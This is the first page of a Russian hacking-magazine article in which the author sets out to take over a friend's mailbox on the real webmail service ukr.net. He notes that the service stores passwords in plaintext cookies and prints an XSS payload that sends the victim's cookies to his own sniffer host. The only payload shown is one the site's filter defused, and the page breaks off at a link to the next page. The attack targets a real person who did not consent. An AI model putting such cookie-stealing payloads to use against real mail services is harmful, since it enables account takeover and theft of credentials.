UKR.Net и не будет!

PinkPanther

Хакер, номер #087, стр. 087-086-1

(PinkPanther@HackZona.ru, AntiChat.ru)

Полный захват почтового ящика на www.ukr.net

На сегодняшний день абсолютно любая бесплатная или платная почта, имеющая веб-интерфейс, может быть подвержена XSS-нападению. В некоторых случаях найти дырку легче, в некоторых - сложнее, некоторые баги лежат в привате, некоторые - в паблике, но тем не менее они есть. Сегодня я покажу тебе, как при наличии прямых рук можно полностью захватить ящик самого крутого украинского почтового сервера ukr.net.

пара бутылочек

История эта произошла еще в начале зимы и началась, как это часто бывает, со спора в одном пивном баре. После пары литров пива у нас с приятелем завязался разговор о хакерах и безопасности, потом мы поспорили, что я смогу поиметь его почту, которая находилась на сервере ukr.net. Почему именно эту почту выбрал мой знакомый, я понятия не имею, но это меня вполне устраивало. Я знал, что он проверяет почту через web-интерфейс, да еще и через своего неразлучного друга — ослика. В общем, у меня были все шансы вздрючить наивного товарища. И ты знаешь, я ими сполна воспользовался :).

поверхностный осмотр

Итак, нужно было пощупать сервис изнутри. Помню, еще во времена динозавров бегали там тараканы, но времени прошло много, и я решил не искать следы старых жуков, а найти новых. Прогресс идет вперед - баги тоже. Как ты думаешь, что надо сделать первым делом в таком случае? Правильно, я так и сделал. Быстренько зарегистрировав себе ящик fackdahack@ukr.net, я решил для начала поломать самого себя. Как видишь на скрине, под формой авторизации находится панелька с двумя галочками, которые отвечают за запоминание логина/пасса. По умолчанию они, конечно, не активированы, но, возможно, мой дружище юзает эту функцию.

Что самое интересное, если активировать запоминание пароля, то в куки к нам упадет пароль в открытом виде. Вот тебе и первый просчет разработчиков — никакого шифрования, что стало для меня приятным известием.

Идея дальнейшего взлома была до боли банальной: найти XSS`ку, правильно сформировать скриптовый сплоит, отправить письмо с ним и словить на своем снифере его кукисы, в которых, если повезет, будет находиться пароль в чистом виде. Задумка приевшаяся и простая, но тем не менее действующая и более-менее стабильная. Так что следующим шагом стал поиск XSS.

в поисках XSS-дырок

И пошел я по пути от простого к сложному, как учили в детстве. Вспомнив молодость, решил я подгрузить сценарий через картинку. Так давайте посмотрим, что у меня за колдовство получилось. В моем случае получился обычный скрипт такого вида:

<img src="http://privatesniff/1.gif" style="background:white url(javascript:document.images[0].src='http://privatesniff/s.php?'+document.cookie)">

Здесь http://privatesniff/s.php - это мой сайт со снифером s.php, о котором я расскажу немного ниже. Но как и предполагалось, фильтры сработали, и мой код преобразовался вот в такой:

<img src="http://privatesniff/1.gif " xstyle="background: white url(xjavascript:document.images[0].src='http://privatesniff/s.php?'+document.cookie)">

Содержание  Вперед на стр. 087-086-2
ttfb: 3.2401084899902 ms